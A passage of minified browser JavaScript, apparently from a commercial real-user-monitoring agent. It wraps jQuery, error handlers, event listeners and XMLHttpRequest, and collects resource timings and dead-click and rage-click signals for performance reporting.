ib.eventHandler(Ka.event.handlers,this,arguments)}function na(){var aa=S.dT_.cA(arguments);3===aa.length&&aa[2]&&"undefined"!==typeof aa[2].origHandler&&(aa[2]=aa[2].origHandler);return ib.off(eb.off,this,aa)}function ta(aa,qa,V){if(aa[qa]&&aa[qa]!==eb[qa]){if(L[qa])L[qa]();var pa=aa[qa];eb[qa]=aa[qa];var Va=!1;L[qa]=function(){Va=!0};aa[qa]=function(){return Va?ib.wrapperExecutor(pa, this,arguments):ib.wrapperExecutor(V,this,arguments)}}}function Ma(){if(va.jQuery){Ka=va.jQuery;S.dT_.rpl(Ka,"data","j");S.dT_.rpl(Ka,"ajax","j");Q=Ka.fn.jquery||"0.0";var aa=Ka.migrateVersion;-1===S.dT_.aIOf(ia,Q)&&ia.push(Q);aa&&-1===S.dT_.aIOf(W,aa)&&W.push(aa);"undefined"===typeof H&&(aa=Q.split("."),H=S.dT_.cvs("1.3 1.4 1.5 1.6 1.6 1.7 1.8 1.9 1.10 1.11 1.12 2.0 2.1 2.2 3.0 3.1 3.2 3.3 3.4 3.5 3.6".split(" "),aa[0],aa[1],"jQuery"));H&&(ta(Ka,"ajax",La),S.dT_.ti(),ta(Ka,"data",Z),Ka.event&&ta(Ka.event, "handlers",Aa),ta(Ka.fn,"off",na),la||(la=!0,S.dT_.ael(va,"unload",fa)))}}function Ja(){var aa=va.jQuery;aa&&aa.data&&aa.ajax&&Ma()}function fa(){var aa,qa;C||("undefined"!==typeof Ka&&(L.ajax&&L.ajax(),L.data&&L.data(),L.handlers&&L.handlers(),L.off&&L.off()),L=(aa={},aa.ajax=void 0,aa.handlers=void 0,aa.off=void 0,aa.data=void 0,aa),eb=(qa={},qa.ajax=void 0,qa.handlers=void 0,qa.off=void 0,qa.data=void 0,qa),C=!0);ia=[];W=[]}var S="undefined"!==typeof window?window:self,va="undefined"!==typeof window? window:self,ja,U,eb,L,C=!1,H,Q,ia,W,la=!1,ua=!1,Ka,Hb={click:{Oa:"C",Qa:"clk"},dblclick:{Oa:"CC",Qa:"dcl"},mouseup:{Oa:"U",Qa:"mup"},mousedown:{Oa:"D",Qa:"mdw"},keyup:{Oa:"KU",Qa:"kyu"},keydown:{Oa:"KD",Qa:"kyd"},scroll:{Oa:"S",Qa:"scr"},touchstart:{Oa:"TS",Qa:"tcs"},touchend:{Oa:"TE",Qa:"tce"},autocomplete:{Oa:"A",Qa:""}},ib=(ja={},ja.beforeSend=function(aa,qa,V){return U.aWF(aa,qa,V)},ja.wrapperExecutor=function(aa,qa,V){return U.aWF(aa,qa,V)},ja.onComplete=function(aa,qa,V){return U.aWF(aa,qa, V)},ja.ajax=function(aa,qa,V,pa,Va,nb){return U.aWF(aa,qa,V,pa,Va,nb)},ja.generateWrapper=function(aa,qa,V){return U.aWF(aa,qa,V)},ja.data=function(aa,qa,V){return U.aWF(aa,qa,V)},ja.eventHandler=function(aa,qa,V){return U.aWF(aa,qa,V)},ja.off=function(aa,qa,V){return U.aWF(aa,qa,V)},ja.promiseCallback=function(aa,qa,V,pa,Va,nb){return U.aWF(aa,qa,V,pa,Va,nb)},ja);(function(){var aa,qa;U=va.dT_;ua=la=C=!1;eb={};L={};ia=[];W=[];return U&&(null===(qa=(aa=S.dT_).smbi)||void 0===qa?0:qa.call(aa,"j"))? (S.dT_.afpl(va,"jQuery",null,function(){va.jQuery&&!va.jQuery.ajax?ua||(S.dT_.afpl(va.jQuery,"ajax",null,Ja,"j"),S.dT_.afpl(va.jQuery,"data",null,Ja,"j"),ua=!0):Ma()},"win"),S.dT_.addE("LOAD_END",Ja),S.dT_.addE("DEBUG_INFO_REQUESTED",function(){return{type:"fv",text:"jQuery: ["+ia+"]"+(W.length?", jQueryMigrate: ["+W+"]":""),severity:"Info"}}),!0):!1})()&&(U.initJQuery=Ma)})()})(); (function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(H,Q,ia,W,la){var ua,Ka=!1;if(!va&&!S){S=!0;try{try{fa&&fa!==ra&&"function"===typeof fa&&(Ka=fa(H,Q,ia,W,la))}catch(Hb){na.dT_.rex(Hb,void 0,!0,"1")}Ka||na.dT_.re((ua={},ua.msg="string"===typeof H?H:"",ua.file=Q||"",ua.line=ia||-1,ua.column=W||-1,ua.error=la||"",ua.stackContainsWrapper=!1,ua.source="1",ua))}catch(Hb){}S=!1}return Ka}function La(H,Q, ia){H[Q]=ia(H[Q])}function gb(H){try{if(!Ea(H))return H;var Q=H.dtwid;"number"===typeof Q&&U[Q]?U[Q].Ce++:(U[eb]={Da:H,Ce:1},H.dtwid=eb++);H.rxewrapper=H.rxewrapper||function(ia){if(ja)try{if(Ea(H))return L.errorCallback(H,this,arguments)}catch(W){if(-2146823277!==W.number)throw na.dT_.rex(W,void 0,!0,"1"),db(),W;}else try{if(Ea(H))return L.errorCallback(H,this,arguments)}catch(W){if(-2146823277!==W.number)throw W;}};return H.rxewrapper.rxewrapper=H.rxewrapper}catch(ia){return H}}function db(){va+= 1;na.dT_.st(function(){--va},0)}function Ea(H){return"[object Function]"===Object.prototype.toString.call(H)}function Ua(){var H=document.getElementsByTagName("html");(0===H.length||0<H.length&&!H[0].hasAttribute||0<H.length&&!H[0].hasAttribute("webdriver"))&&"EventTarget Window ModalWindow".replace(/\w+/g,function(Q){(Q=ta[Q]&&ta[Q].prototype)&&na.dT_.oHOP(Q,"addEventListener")&&(La(Q,"addEventListener",function(ia){return function(W,la,ua,Ka){la&&la.handleEvent&&(la.handleEvent=gb(la.handleEvent)); return ia.call(this,W,gb(la),ua,Ka)}}),La(Q,"removeEventListener",function(ia){return function(W,la,ua,Ka){try{return ia.call(this,W,la&&la.rxewrapper?la.rxewrapper:la,ua,Ka)}finally{la&&(W=la.dtwid,"number"===typeof W&&U[W]&&U[W].Da===la&&(U[W].Ce--,U[W].Ce||(delete la.rxewrapper,delete la.dtwid,delete U[W])))}}}));return""})}function Pa(){Ja=ta.dT_;if(!na.dT_.bcv("doel")){ta.onerror!==ra&&(Ja.rxehandler=ra,ta.onerror&&(fa=ta.onerror),ta.onerror=Ja.rxehandler);try{na.dT_.apl(ta,"onerror",function(){return ra}, function(H){fa=H})}catch(H){}na.dT_.ael(ta,"unload",function(){na.dT_.rpl(ta,"onerror","win");ta.onerror=null;for(var H in U)na.dT_.oHOP(U,H)&&(delete U[H].Da.rxewrapper,delete U[H].Da.dtwid);U={}});if(!ta.atob)ja=!1;else if(ta.ErrorEvent)try{0===(new ta.ErrorEvent("test")).colno&&(ja=!1)}catch(H){}ja&&Ua()}}function za(){for(var H=[],Q=0;Q<arguments.length;Q++)H[Q]=arguments[Q];var ia,W;for(Q=0;Q<H.length;Q++){var la=H[Q];!ia&&na.dT_.iIO(la,7)&&(ia=la);!W&&la&&"string"===typeof la&&(W=la)}(ia||W)&& na.dT_.rex(ia||W,void 0,!1,"2");return C.apply(this,H)}function ab(H){var Q;if(Q="string"===typeof H.blockedURL&&"string"===typeof H.documentURL&&H.blockedURL&&H.documentURL){Q=H.blockedURL;var ia=na.dT_.scv("reportUrl"),W=void 0;void 0===W&&(W=0);var la=-1;ia&&(null===Q||void 0===Q?0:Q.indexOf)&&(la=Q.indexOf(ia,W));Q=-1===la}if(Q){Q=[];for(var ua in H)H[ua]&&"function"!==typeof H[ua]&&Q.push([String(ua),String(H[ua])]);Q.length&&na.dT_.cAE("_csprv_",Q,!0,void 0,1)}}function ba(H){var Q;"securitypolicyviolation"=== H.type&&ab((Q={},Q.sourceFile=H.sourceFile,Q.blockedURL=H.blockedURI,Q.documentURL=H.documentURI,Q.referrer=H.referrer,Q.disposition=H.disposition,Q.effectiveDirective=H.effectiveDirective||H.violatedDirective,Q.originalPolicy=H.originalPolicy,Q.statusCode=H.statusCode,Q.lineNumber=H.lineNumber,Q.columnNumber=H.columnNumber,Q.sample=H.sample,Q))}function Z(H){for(var Q=0;Q<H.length;Q++){var ia=H[Q];"csp-violation"===ia.type&&(ia=ia.body)&&ab(ia)}}function Aa(H){H.reason&&na.dT_.iIO(H.reason,7)?na.dT_.rex(H.reason, void 0,!0,"4"):H.detail&&na.dT_.iIO(H.detail.reason,7)&&na.dT_.rex(H.detail.reason,void 0,!0,"4")}var na="undefined"!==typeof window?window:self,ta="undefined"!==typeof window?window:self,Ma,Ja,fa,S=!1,va=0,ja=!0,U={},eb=0,L=(Ma={},Ma.errorCallback=function(H,Q,ia,W,la,ua){return Ja.aWF(H,Q,ia,W,la,ua)},Ma),C;(function(){var H,Q;if(ta.dT_&&(null===(Q=(H=na.dT_).smbi)||void 0===Q?0:Q.call(H,"q"))&&(Pa(),na.dT_.bcv("lupr")&&na.dT_.ael(ta,"unhandledrejection",Aa),na.dT_.bcv("csprv")&&(ta.ReportingObserver? (new ta.ReportingObserver(Z,{buffered:!0,types:["csp-violation"]})).observe():na.dT_.gBI().ff&&na.dT_.ael(document,"securitypolicyviolation",ba)),na.dT_.bcv("cce"))){var ia;null!==(ia=ta.console)&&void 0!==ia&&ia.error&&(C=ta.console.error,ta.console.error=za)}})()})()})(); (function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);var ra=this.dT_&&dT_.prm&&dT_.prm()||window.Promise;(function(){function La(t,y,Y,x){function oa(R){return R instanceof Y?R:new Y(function(O){O(R)})}return new (Y||(Y=ra))(function(R,O){function wa(Eb){try{Wa(x.next(Eb))}catch(Lb){O(Lb)}}function Ga(Eb){try{Wa(x["throw"](Eb))}catch(Lb){O(Lb)}}function Wa(Eb){Eb.done?R(Eb.value):oa(Eb.value).then(wa,Ga)}Wa((x=x.apply(t,y||[])).next())})}function gb(t, y){function Y(Wa){return function(Eb){return x([Wa,Eb])}}function x(Wa){if(R)throw new TypeError("Generator is already executing.");for(;oa;)try{if(R=1,O&&(wa=Wa[0]&2?O["return"]:Wa[0]?O["throw"]||((wa=O["return"])&&wa.call(O),0):O.next)&&!(wa=wa.call(O,Wa[1])).done)return wa;if(O=0,wa)Wa=[Wa[0]&2,wa.value];switch(Wa[0]){case 0:case 1:wa=Wa;break;case 4:return oa.label++,{value:Wa[1],done:!1};case 5:oa.label++;O=Wa[1];Wa=[0];continue;case 7:Wa=oa.Ja.pop();oa.ia.pop();continue;default:if(!(wa=oa.ia, wa=0<wa.length&&wa[wa.length-1])&&(6===Wa[0]||2===Wa[0])){oa=0;continue}if(3===Wa[0]&&(!wa||Wa[1]>wa[0]&&Wa[1]<wa[3]))oa.label=Wa[1];else if(6===Wa[0]&&oa.label<wa[1])oa.label=wa[1],wa=Wa;else if(wa&&oa.label<wa[2])oa.label=wa[2],oa.Ja.push(Wa);else{wa[2]&&oa.Ja.pop();oa.ia.pop();continue}}Wa=y.call(t,oa)}catch(Eb){Wa=[6,Eb],O=0}finally{R=wa=0}if(Wa[0]&5)throw Wa[1];return{value:Wa[0]?Wa[1]:void 0,done:!0}}var oa={label:0,J:function(){if(wa[0]&1)throw wa[1];return wa[1]},ia:[],Ja:[]},R,O,wa,Ga;return Ga= {next:Y(0),"throw":Y(1),"return":Y(2)},"function"===typeof Symbol&&(Ga[Symbol.iterator]=function(){return this}),Ga}function db(t,y){void 0===y&&(y=0);return t.name+"_"+(t.startTime+y)+"_"+t.duration}function Ea(){try{performance.getEntries()[0].dt_test=!0,Va=performance.getEntries()[0].dt_test,nb=function(){return!!Va}}catch(t){}}function Ua(){pa=V.dT_;nb=qa.dT_.gBI().sf?function(){return!1}:function(){Ea();return!!Va}}function Pa(){function t(){}if(!Ab)return!1;Vb=Ab.getEntriesByType;Ha=Ab.getEntriesByName; gc=Ab.setResourceTimingBufferSize;(yb=Ab.clearResourceTimings)&&(Ab.clearResourceTimings=t);Ab.webkitClearResourceTimings&&(Ab.webkitClearResourceTimings=t);return!!Vb&&!!Ha&&!!gc&&!!yb}function za(t){"function"===typeof Ab.addEventListener?Ab.addEventListener("resourcetimingbufferfull",t):"undefined"!==typeof Ab.onresourcetimingbufferfull&&(vb=Ab.onresourcetimingbufferfull,Ab.onresourcetimingbufferfull=t)}function ab(){try{"function"===typeof vb&&vb.call(Ab,new Event("resourcetimingbufferfull",{bubbles:!0, cancelable:!0})),qa.dT_.st(function(){yb.call(Ab)},0)}catch(t){}}function ba(){Ab=V.performance;var t=Pa();t&&gc.call(Ab,1E3);return t}function Z(t){var y=t.detail;t=y.a;if(y=y.e)for(var Y=0;Y<y.length;Y++){var x=y[Y],oa=x.url;if(oa){var R=x.relevance||0;x={Ub:x.area,imageWidth:x.w,imageHeight:x.h,he:x.nw,ge:x.nh,gg:x.o,De:R,hh:x.ireason||0,G:t||0};if(!ca[oa]||R>ca[oa].De)ca[oa]=x}}}function Aa(t){return!!t&&isFinite(t)&&0<t}function na(t){var y=ca[t.name];"undefined"!==typeof y?(t.relevantArea=y.Ub, t.relevance=y.De,t.vcIrrelevanceReason=y.hh,y.gg&&(t.onloadTime=y.gg-Math.round(t.startTime)-qa.dT_.gto()),Aa(y.imageWidth)&&Aa(y.imageHeight)&&(t.imageWidth=y.imageWidth,t.imageHeight=y.imageHeight),Aa(y.he)&&y.he!==y.imageWidth&&(t.imageNaturalWidth=y.he),Aa(y.ge)&&y.ge!==y.imageHeight&&(t.imageNaturalHeight=y.ge),delete ca[t.name]):t.relevance=0}function ta(){return Za}function Ma(t){ka[db(t)]=t}function Ja(t){$a[db(t)]=t}function fa(t,y,Y){return{get:function(){var x=Number(t[Y]);return isNaN(x)? y:x+y}}}function S(t,y){function Y(wa){wa in t&&(oa[wa]={get:function(){return t[wa]}})}if(0>=y)return t;var x=ka[db(t,y)];if(x)return x;for(var oa={},R=0,O=Cb;R<O.length;R++)x=O[R],oa[x]=fa(t,y,x);y=0;for(R=bd;y<R.length;y++)x=R[y],Y(x);x=Object.create(t,oa);x._dtCl=!0;Ma(x);return x}function va(){var t=[],y=document.getElementsByTagName("iframe");if(!y.length)return t;for(var Y=0;Y<y.length;Y++){var x=y[Y];try{var oa=t,R=oa.concat;var O=void 0,wa=x.contentWindow;b:{for(var Ga=0;Ga<Oa.length;Ga++)if(x=== Oa[Ga]){var Wa=Ga;break b}var Eb=Oa.length;Oa.push(x);"undefined"!==typeof x.src&&(Za[x.src]=Eb);Wa=Eb}if(wa.dT_)var Lb=[];else{x=[];var Nb=wa.performance.getEntriesByType("resource"),ac=Ab.timeOrigin;O=ac?wa.performance.timeOrigin-ac:wa.performance.timing.navigationStart-Ab.timing.navigationStart;O=Math.round(O);for(Ga=0;Ga<Nb.length;Ga++){var rc=S(Nb[Ga],O);I[db(rc)]||(rc.frameId=Wa,x.push(rc))}Lb=x}t=R.call(oa,Lb)}catch(mc){}}return t}function ja(){var t=[],y=Vb.call(Ab,"resource"),Y=nb(),x;if(V.frames&& V.frames.length){for(var oa=[],R=0;R<V.frames.length;R++)try{var O=V.frames[R];O.dT_&&(null===(x=null===O||void 0===O?void 0:O.location)||void 0===x?0:x.href)&&oa.push(O.location.href)}catch(wa){}x=oa}else x=[];for(oa=0;oa<y.length;oa++){R=y[oa];Y||((O=$a[db(R)])?R=O:Ja(R));if(!(O=I[db(R)]))a:{if(("iframe"===R.initiatorType||"subdocument"===R.initiatorType)&&x.length)for(O=0;O<x.length;O++)if(x[O]===R.name){O=!0;break a}O=!1}O||t.push(R)}return t}function U(t,y){if("text/css"===y.type){var Y=y.href|| "";var x=y.ownerNode;y=x&&x.nodeType&&1===x.nodeType?y.ownerNode:null}else Y=y.src;Y&&y&&(t[Y]=y);return t}function eb(t,y){return y.G!==t&&!y.zg}function L(t,y,Y,x,oa,R){return function(O){var wa=pa;if(!I[db(O)])try{var Ga=O.name,Wa=(O.workerNavigationStart||qa.dT_.gto())+O.startTime,Eb=O.name,Lb;if(!(Lb=-1<Eb.indexOf(qa.dT_.scv("csu"))||-1<Eb.indexOf("ampbf")&&-1<Eb.indexOf("flavor=amp"))){var Nb=Eb.indexOf,ac=qa.dT_.scv("reportUrl");lb&&ac===jb||(jb=ac,lb=qa.dT_.tau(jb));Lb=-1!==Nb.call(Eb,lb)}if(!(Lb|| O.startTime>O.responseEnd||0>O.startTime)&&wa.tpih&&wa.tpih(Ga)){wa=Wa-t;var rc=ca[O.name],mc=O.Rg||Infinity;mc=oa?Infinity:mc;Ga=pa;if(t<=Wa&&Wa<=y+(Ga.syn?1E3:qa.dT_.ncv("rtt"))&&mc>=wa||rc&&rc.G===Number(Y)&&0<rc.De){var Oc;if(Oc=x){var Kc=O.name;Wa=void 0;void 0===Wa&&(Wa=0);rc=-1;x&&(null===Kc||void 0===Kc?0:Kc.indexOf)&&(rc=Kc.indexOf(x,Wa));Oc=-1<rc}Kc=3;oa?Kc=1:Oc&&(Kc=2);O.Yf&&3!==O.Yf||(O.Rg=wa,O.Yf=Kc,O.qg=R,O.actionId=Y)}}}catch(gd){}}}function C(t,y,Y){return La(this,void 0,void 0,function(){var x, oa,R;return gb(this,function(O){switch(O.label){case 0:q=qa.dT_.aFr(q,eb.bind(null,t)),x=0,oa=q,O.label=1;case 1:if(!(x<oa.length))return[3,4];R=oa[x];return[4,H(R,R.start,y,!1,Y)];case 2:O.J(),R.zg=!0,O.label=3;case 3:return x++,[3,1];case 4:return[2]}})})}function H(t,y,Y,x,oa){var R=t.G,O=t.sg,wa=t.xhrUrl,Ga=t.start;return La(this,void 0,void 0,function(){var Wa,Eb,Lb,Nb;return gb(this,function(ac){switch(ac.label){case 0:return Wa=qa.dT_.lAID(),Eb=R===Wa,Lb=L(Ga,y,R,wa,Eb,O),[4,qa.dT_.fEP(oa, Lb,void 0,!Y)];case 1:ac.J();if(!x)return[2];Nb=Qb[O];Nb.count--;!Nb.count&&0<=Nb.ad.indexOf(O)&&qa.dT_.sMPS(1);return[2]}})})}function Q(){for(var t=0,y=qa.dT_.oK(Zb);t<y.length;t++){var Y=Zb[Number(y[t])];qa.dT_.ct(Y.ra);Y.kb(!0)}Zb={}}function ia(t,y,Y,x){var oa=Qb[Y];oa||(oa={count:0,ad:[]});oa.count++;oa.ad.push(t);Qb[Y]=oa;q.push({G:t,start:y,sg:Y,xhrUrl:x,zg:!1})}function W(){Qb={};Zb={};q=[];var t=qa.dT_.lAID();ia(t,qa.dT_.lst(),t);qa.dT_.addE("ACTION_ENTERED",la);qa.dT_.addE("ACTION_SENT", ua)}function la(t){var y=t.detail;t=y.x;var Y=y.i,x=y.a,oa=y.r;-1===qa.dT_.aIOf(D,y.t)&&(y=qa.dT_.lAID(),oa===y&&oa!==Y||ia(Y,x,oa,t))}function ua(t){return La(this,void 0,void 0,function(){function y(ac){return La(this,void 0,void 0,function(){var rc;return gb(this,function(mc){switch(mc.label){case 0:return rc=Array.prototype.concat(va(),ja(),Ba),[4,C(R,!0,rc)];case 1:return mc.J(),[4,H({G:R,sg:Wa,xhrUrl:x,start:O},wa,ac,!0,rc)];case 2:return mc.J(),[2]}})})}var Y,x,oa,R,O,wa,Ga,Wa,Eb,Lb,Nb;return gb(this, function(ac){switch(ac.label){case 0:Y=t.detail;x=Y.x;oa=Y.t;R=Y.i;O=Y.a;wa=Y.s;Ga=Y.f;Wa=Y.r;(Eb=Y.rt)&&Ja(Eb);if(-1!==qa.dT_.aIOf(D,oa))return[2];Lb=qa.dT_.lAID();return Wa===Lb&&Wa!==R?[2]:Ga?[4,y(Ga)]:[3,2];case 1:return ac.J(),[3,3];case 2:Nb=qa.dT_.st(function(){delete Zb[R];y(Ga)},2E3),Zb[R]={ra:Nb,kb:y},ac.label=3;case 3:return[2]}})})}function Ka(t){var y;if(y="number"===typeof t.qg){var Y;y=0===(null===(Y=Qb[t.qg])||void 0===Y?void 0:Y.count)}return y}function Hb(t){var y=[],Y=0,x=[];for(O in Qb){var oa; if(oa=qa.dT_.oHOP(Qb,O)){oa=Number(O);var R=Qb[oa];oa=!Zb[oa]&&(!R||!R.count&&0<=R.ad.indexOf(oa))}oa&&x.push.apply(x,Qb[O].ad)}for(;Y<x.length;Y++){var O=Number(x[Y]);R=oa=t[O]||[];var wa=O,Ga=pa;if(!Ga.syn&&Ga.gLVD){var Wa=0;for(wa=Ga.gUI(wa);Wa<wa.length;Wa++){Ga=wa[Wa];for(var Eb=!1,Lb=0,Nb=R;Lb<Nb.length;Lb++){var ac=Nb[Lb];if(!ac.failedResource&&ac.name===Ga.name){ac.failedResource=Ga.failedResource;Eb=!0;break}}Eb||(na(Ga),qa.dT_.apush(R,Ga))}}y.push({resources:oa,actionId:O});delete Qb[O]}return y} function ib(t){t&&Q();t=qa.dT_.aFr(Array.prototype.concat(va(),ja(),Ba),Ka);var y=qa.dT_.red(Array.prototype.concat(Array.prototype.slice.call(document.scripts),Array.prototype.slice.call(document.styleSheets)),U,{});t=qa.dT_.red(t,function(Y,x){var oa=x.actionId,R=Y[oa];R||(R=[]);var O=y[x.name];if(O){var wa=Number;if(O&&"LINK"===O.nodeName){var Ga=O.media||"all";O="stylesheet"===O.rel&&window.matchMedia(Ga).matches&&!O.disabled}else O=!O.hasAttribute("async")&&!O.hasAttribute("defer")&&"module"!== O.getAttribute("type");x.isCritical=wa(O)}na(x);R.push(x);Y[oa]=R;I[db(x)]=!0;return Y},{});t=Hb(t);900<Vb.call(Ab,"resource").length&&(ab(),I={},ka={},$a={},Ba=[],ca={});return t}function aa(){var t=pa;t.gSig=ib;t.gFU=ta}var qa="undefined"!==typeof window?window:self,V="undefined"!==typeof window?window:self,pa,Va,nb,lb,jb,Ab,gc,Vb,Ha,yb,vb,ca={},Oa=[],Za={},I={},ka={},Ba=[],$a={},Cb="connectEnd connectStart domainLookupEnd domainLookupStart fetchStart redirectEnd redirectStart requestStart responseEnd responseStart secureConnectionStart startTime workerStart".split(" "), bd="name duration transferSize decodedBodySize encodedBodySize entryType initiatorType nextHopProtocol serverTiming transferSize".split(" "),Qb={},Zb={},q=[],D="_error_ _ts_ _code_ _debug_ _emu_ _location_ _stack_ _useraction_ _type_ _log_ _rs_ _rv_ _endVisit_ - _t_".split(" ");(function(t){var y,Y,x=V.dT_;if(!x||null===(Y=(y=qa.dT_).ssmbi)||void 0===Y||!Y.call(y,"r",t,!0))return!1;if(V.Sh)return x.re_r=!1;Ua();x.re_r=ba();if(!x.re_r)return!1;W();Za={};Oa=[];ca={};I={};ka={};$a={};Ba=[];za(function(){Ba= ja()});qa.dT_.addE("VISUALLY_COMPLETE",Z);return!0})(!1)&&aa()})()})(); (function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(ib){S.dT_.addE&&S.dT_.addE("CONFIG_UPDATE",ib)}function La(){(ja=S.dT_.bcv("uxdce"))&&(U=S.dT_.ncv("uxdcw"))}function gb(){(L=S.dT_.aO("deadClickObserver",Ua))&&L.observe(document.documentElement,{childList:!0,attributes:!0,characterData:!0,subtree:!0});L&&(S.dT_.aBPSL(Ea),S.dT_.ael(document,"click",db),H=!0)}function db(){var ib=S.dT_.nw();S.dT_.st(function(){eb< ib&&(C.push({time:Math.round(ib)}),S.dT_.sMPS(2E3))},U)}function Ea(ib,aa,qa,V){if(0!==C.length){aa=ib.av;qa=C;for(var pa=[],Va=0;Va<qa.length;Va++)pa.push(qa[Va].time.toFixed());aa.call(ib,V,"dC",pa.join(","),!0);C=[]}}function Ua(ib){for(var aa=ib.length;aa--;){var qa=ib[aa].target,V=qa,pa=void 0,Va=V,nb=9;void 0===nb&&(nb=[]);var lb=va.dT_;if(lb=(!(null===(pa=(null===lb||void 0===lb?0:lb.iIO)?lb.iIO:null)||void 0===pa||!pa(Va,nb))||V&&V.nodeType&&1===V.nodeType)&&("string"===typeof V.textContent|| "string"===typeof V.innerText))qa=qa.getBoundingClientRect(),lb=!(0>qa.right||qa.left>(window.innerWidth||document.documentElement.clientWidth)||0>qa.bottom||qa.top>(window.innerHeight||document.documentElement.clientHeight));if(lb){eb=S.dT_.nw();break}}}function Pa(){La();ja&&!H?gb():!ja&&H&&(S.dT_.rBPSL(Ea),S.dT_.rO("deadClickObserver"),S.dT_.rel(document,"click",db,void 0),C=[],H=!1,eb=-1)}function za(){if(Q=S.dT_.bcv("uxrgce")){var ib=S.dT_.scv("uxrgcm").split(";"),aa=ib[1];ia=ab(ib[0]);ab(aa)}} function ab(ib){ib=ib.split(",");return{aj:Number(ib[0])||100,jj:Number(ib[1])||25,Ji:Number(ib[2])||300,Fi:Number(ib[3])||3}}function ba(ib){return{x:ib.x||ib.clientX,y:ib.y||ib.clientY,timeStamp:S.dT_.nw()}}function Z(){S.dT_.iMD()||(S.dT_.aBPSL(ta),S.dT_.ael(document,"click",na),S.dT_.ael(document,"mousedown",Aa),W=!0)}function Aa(ib){ua=ba(ib)}function na(ib){ib=ba(ib);if(0===Ka.length)Ka.push(ib);else{var aa=Ka[0],qa=Ka[Ka.length-1];if(qa=ib&&qa?ib.timeStamp-qa.timeStamp<=ia.Ji:!1)qa=ia.jj,qa= Math.abs(aa.x-ib.x)<=qa&&Math.abs(aa.y-ib.y)<=qa;qa&&ib&&ua&&ib.timeStamp-ua.timeStamp<=ia.aj?(Ka.push(ib),Ma()):(Ka.length>=ia.Fi&&Ja(),Ka=[ib])}}function ta(ib,aa,qa,V){if(0!==Hb.length){aa=ib.av;qa=Hb;for(var pa=[],Va=0;Va<qa.length;Va++){var nb=qa[Va];pa.push(nb.bj+"|"+nb.Gi.toFixed()+"|"+nb.duration.toFixed())}aa.call(ib,V,"rC",pa.join(","),!0);Hb=[]}}function Ma(){S.dT_.ct(la);la=S.dT_.st(function(){Ka.length>=ia.Fi&&Ja()},ia.Ji)}function Ja(){var ib=Ka[0];ib={bj:Ka.length,Gi:Math.round(ib.timeStamp), duration:Math.round(Ka[Ka.length-1].timeStamp-ib.timeStamp)};0<ib.Gi&&0<ib.duration&&(Hb.push(ib),S.dT_.sMPS(2E3));Ka=[]}function fa(){za();Q&&!W?Z():!Q&&W&&(S.dT_.rBPSL(ta),S.dT_.rel(document,"click",na,void 0),S.dT_.rel(document,"mousedown",Aa,void 0),Ka=[],Hb=[],W=!1)}var S="undefined"!==typeof window?window:self,va="undefined"!==typeof window?window:self,ja,U,eb=-1,L,C=[],H=!1,Q,ia,W=!1,la,ua,Ka=[],Hb=[];(function(){var ib,aa;return va.dT_&&(null===(aa=(ib=S.dT_).smbi)||void 0===aa?void 0:aa.call(ib, "u"))})()&&(za(),Q&&Z(),ra(fa),La(),ja&&gb(),ra(Pa))})()})(); (function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(){if(!ra.hasCache){ra.hasCache=!0;var q=void 0;if("defineProperty"in Object){var D={Me:41};try{Object.defineProperty(D,"Z",{get:function(){return this.Me},set:function(t){this.Me=t}}),D.Z=42,q=42===D.Me}catch(t){q=!1}}else q=!1;ra.cachedVal=q}return!!ra.cachedVal}function La(q,D,t){if(t||2===arguments.length)for(var y=0,Y=D.length,x;y<Y;y++)!x&&y in D||(x||(x=Array.prototype.slice.call(D,0,y)),x[y]=D[y]);return q.concat(x||Array.prototype.slice.call(D))}function gb(){}function db(q){var D=!1;try{D=!V.dT_.iNF(q)}catch(Y){}if(!D)for(var t=0,y=Ab;t<y.length&&!(D=(D=q.prototype[y[t]])&&!V.dT_.iNF(D));t++);return D?(V.dT_.addE("DEBUG_INFO_REQUESTED",function(){return{type:"lxw",text:"Found a non-native XMLHttpRequest object before initializing! Basic XHR is operating in late mode.",severity:"Warning"}}),!0):!1}function Ea(q){if(!ra()){var D=q.dtProps; try{a:{var t=D.I,y=D.ba,Y=t.responseXML;if(ca){var x=t.getResponseHeader("Content-Type");if(pa.ActiveXObject&&Y&&!Y.documentElement&&x&&x.match(/[^\/]+\/[^+]+\+xml/)){var oa=new pa.ActiveXObject("Microsoft.XMLDOM");oa.loadXML&&oa.loadXML(t.responseText);var R=oa.parseError;if(R&&0!==R.errorCode||oa.documentElement&&"parsererror"===oa.documentElement.tagName){if(V.dT_.mx())try{V.dT_.mxp(R?R.reason:"",y)}catch(wa){}var O=Y;break a}Y=oa}}O=Y}q.responseXML=O}catch(wa){}O=0;for(t=lb;O<t.length;O++){y= t[O];try{"responseXML"!==y&&y in D.I&&(q[y]=D.I[y])}catch(wa){}}}}function Ua(q,D){q=q.dtProps.Ea;var t=[];D=D.substring(2);for(var y=0;y<q.length;y++){var Y=q[y];Y[0]===D&&t.push(Y[1])}return t}function Pa(q,D,t){function y(O){function wa(Ga,Wa){try{t?(V.dT_.ec(t.dtProps.ba),t.dtProps.za++):(V.dT_.ec(q.dtProps.ba),q.dtProps.za++,O in{onerror:0,onload:1,onprogress:2}&&Ea(q)),"object"===typeof Wa&&Wa.handleEvent?Za.handleEventCallback(Wa.handleEvent,Wa,Ga):Za.handleEventCallback(Wa,q,Ga)}finally{t? (t.dtProps.za--,V.dT_.lc(t.dtProps.ba)):(q.dtProps.za--,V.dT_.lc(q.dtProps.ba))}}try{D[O]=function(Ga){var Wa=Array.prototype.slice.call(arguments);if(0<Wa.length){var Eb=ab(Ga,q);V.dT_.fE(Va,function(rc){"undefined"!==typeof Ga[rc]&&(Eb[rc]=Ga[rc])});Wa[0]=Eb}var Lb=q.dtProps;if(V.dT_.mx()&&O in Y)Y[O](Lb.ba);var Nb=Lb[O]||Oa&&q[O];Nb&&wa(Wa,Nb);Nb=0;for(var ac=Ua(q,O);Nb<ac.length;Nb++)wa(Wa,ac[Nb]);ca&&"ontimeout"===O&&V.dT_.st(function(){Lb.uc&&1===Lb.hc&&V.dT_.lx(Lb.ba,void 0,void 0,void 0,"x")}, 0)}}catch(Ga){}}for(var Y={onerror:function(){t?V.dT_.mxg("Upload 